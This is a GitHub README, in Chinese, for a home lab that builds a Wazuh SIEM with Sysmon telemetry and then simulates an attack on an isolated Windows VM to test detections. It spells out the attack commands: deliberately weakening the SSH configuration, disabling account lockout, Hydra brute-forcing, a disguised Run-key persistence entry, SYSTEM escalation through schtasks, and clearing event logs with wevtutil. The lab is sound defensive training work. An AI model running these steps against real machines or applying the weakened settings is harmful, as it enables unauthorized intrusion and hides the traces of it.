abdulrehmanashfaq/endpoint-detection-lab
GitHub: abdulrehmanashfaq/endpoint-detection-lab
一个本地化的端点检测与 SIEM 检测工程实验室,利用 Wazuh 和 Sysmon 模拟攻防场景并验证安全遥测与检测能力。
Stars: 0 | Forks: 0
# 本地端点检测工程与事件响应实验室
## 1. 执行摘要与系统架构
本项目演示了本地化安全运营中心 (SOC) 日志管道和端点检测与响应 (EDR) 测试环境的端到端工程设计。目标是建立一个隔离的平台,用于模拟现代对手战术、设计自定义行为检测逻辑,以及分析细粒度的操作系统遥测数据,而无需依赖云资源或传统的 Active Directory 基础设施。
### 架构蓝图
- **安全运营控制台 (Laptop 1):** Wazuh SIEM 管理器(运行在 Linux 上的分布式单节点部署)
- **目标工作站 (Laptop 2):** 通过 Microsoft Sysmon 和 Wazuh Agent 监控的 Windows 10/11 端点虚拟机
- **对手节点 (Laptop 2):** Kali Linux 虚拟机 / 本地恶意执行上下文
## 2. 阶段 1:安全运营控制台部署
此阶段使用开源 Wazuh SIEM 平台建立中央日志聚合、索引和可视化集群。
### 部署日志
- **主机操作系统:** Kali Linux (主要)
- **部署方式:** Wazuh 自动化 All-in-One 安装助手
- **执行的命令:**
```
sudo apt update && sudo apt upgrade -y
curl -sO [https://packages.wazuh.com/4.x/wazuh-install.sh](https://packages.wazuh.com/4.x/wazuh-install.sh)
sudo bash wazuh-install.sh -a
```
等待片刻。安装完成后。前往浏览器并打开 [https://127.0.0.1](https://127.0.01)

点击接受(风险并继续)

输入安装后提供的凭据。

现在我们已经成功在 Kali (Laptop 1) 上设置了 Wazuh。
## 3. 阶段 2:设置 Windows 机器
在上面我们需要安装 Wazuh Agent,以便将 Windows 与我们的 Wazuh 服务器集成。
```
Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.5-1.msi -OutFile $env:tmp\wazuh-agent.msi; msiexec.exe /i $env:tmp\wazuh-agent.msi /q WAZUH_MANAGER="YOUR_KALI_IP"
```
请记住在此命令中替换你的 IP
现在在 Windows 上启动你的 Wazuh 服务。
```
Start-Service wazuhsvc
```
检查它是否正在运行。
```
Get-Service wazuhsvc
```

现在我们可以看到 Wazuh 服务器上有一个活动的 Agent,那就是我们的 Windows 机器。

记住在 Windows 机器上设置 Sysmon。我已经下载并安装在它上面了。
你可以前往这个页面了解如何设置 Sysmon:[Wazuh 上的 Sysmon 设置](https://wazuh.com/blog/using-wazuh-to-monitor-sysmon-events/)
## 4. 阶段 3:在 Windows 上生成大量遥测事件
现在我们需要验证我们的 Sysmon 是否确实通过网络发送了日志或事件。
因此我们将执行一个简单的命令。
```
net user test test /add
```
在 Windows 终端上,我们将以管理员身份运行此命令。
事件 ID 将为 4720。
现在我们前往 Wazuh 服务器上的“Discover(发现)”选项卡,并在搜索字段中输入 test。

现在你可以看到我们的日志正在源源不断地输入到我们的 Wazuh 服务器中。
## 5. 阶段 4:攻击模拟与遥测验证
为了对 Windows 进行攻击,我们将使 Windows 上的 SSH 服务器变得脆弱。这样攻击者 Kali 就可以利用它,并使用 AI(脚本)执行完整的网络攻击链。
为了使其变得脆弱,首先我们打开
```
C:\ProgramData\ssh\sshd_config
```
请记住你已经在 Windows 上拥有 SSH 服务器和客户端。
打开文件并找到以下配置。使用 ctrl+f 查找这些内容。
```
Match Group administrators
AuthorizedKeysFile __PROGRAMDATA__/ssh/administrators_authorized_keys
```
在开头加上 # 将它们注释掉
```
PasswordAuthentication yes
PermitEmptyPasswords yes
# 匹配 Group 管理员
# AuthorizedKeysFile __PROGRAMDATA__/ssh/administrators_authorized_keys
```
现在配置看起来应该如上所示。
这属于 A05:2021-Security Misconfiguration(安全配置错误)。(你可以执行诸如暴力破解之类的攻击。)
## 阶段 4.1:被动与主动侦察
现在我们将切换到我们的攻击机 Kali (Laptop 2)。
首先我们检查主机是否存活
```
ping 192.168.100.75
```

我们可以看到主机是存活的。
接下来我们使用 nmap 枚举服务和端口。
```
sudo nmap -sS -sV -O 192.168.100.75
```
并且我们看到了我们的 SSH 服务。

## 阶段 4.2:凭据访问
现在我们将使用 hydra 执行暴力破解攻击。
注意!
在执行暴力破解攻击之前。请确保锁定阈值为 0。否则 Windows 将在尝试 5 次后被锁定。
```
net accounts /lockoutthreshold:0
```
现在执行攻击。
```
hydra -l victim -P /usr/share/wordlists/attacker_list 192.168.100.75 ssh -V
```
我们可以看到我们的攻击成功了。我们获取了受害者的 SSH 密码。

## 阶段 4.3:初始访问
现在在攻击者机器上,由于我们获得了 SSH 密码,我们将通过 SSH 获得终端访问权限。
```
ssh victim@192.168.100.75
```
并输入密码。我们成功获取了受害者的终端。

现在我们将进行本地侦察
```
# 查明您当前运行的具体身份及系统权限
whoami /all
# 列出机器上的所有本地用户账户
net user
# 查找高权限管理组
net localgroup administrators
# 查看主机上的活动网络连接和监听端口
netstat -ano
```
好的,有几件事我漏掉了,SSH 日志没有传送到 Wazuh,所以我必须打开 Wazuh 配置文件并输入:
```
OpenSSH/Operational
eventchannel
```
文件路径为:
```
C:\Program Files (x86)\ossec-agent\
```
现在重启 Wazuh 服务
```
# 停止 Wazuh Agent 服务
Stop-Service -Name "Wazuh"
# 启动 Wazuh Agent 服务
Start-Service -Name "Wazuh"
```
## 阶段 4.4:持久化
```
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDriveUpdate" /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
```
攻击者使用此命令进行持久化。
HKCU\...Version\Run:此目标路径确保每当受害者用户登录时,操作系统都会读取此键。
/v "OneDriveUpdate":该值名称伪装成一个更新二进制文件,以混入正常的系统活动噪音中。
/d "C:\Windows\System32\cmd.exe":这告诉 Windows 自动启动一个命令提示符(在真实场景中,这将指向你的恶意反向 shell 可执行文件)。
## 阶段 4.5:权限提升
我们的受害者用户已经拥有管理员权限。我们的目标是获取 SYSTEM 权限。
运行此命令以成功注册任务
```
schtasks /create /tn "ElevateTask" /tr "cmd.exe /c whoami > C:\Users\Public\privs.txt" /sc ONCE /sd "01/01/2026" /st "00:00" /ru "NT AUTHORITY\SYSTEM" /f
```
现在,手动执行任务以强制 SYSTEM 账户立即运行你的 payload 字符串:
```
schtasks /run /tn "ElevateTask"
```
你应该会看到一条消息:SUCCESS: Attempted to run the scheduled task "ElevateTask"。(成功:已尝试运行计划任务 "ElevateTask"。)读取生成的文本文件的内容,以确认执行是在最高权限级别下进行的。
```
type C:\Users\Public\privs.txt
```

## 阶段 4.6:防御规避
下一阶段是防御规避,我们将通过清除日志来完成。
我们将使用以下命令来执行此操作
```
wevtutil.exe cl Application
wevtutil.exe cl Security
```
请记住,我们必须在我们获取的特权 shell 中执行此操作。
标签:AI合规, AMSI绕过, CTI, EDR, Wazuh, 内存分配, 威胁检测, 安全实验环境, 安全运营中心, 网络映射, 脆弱性评估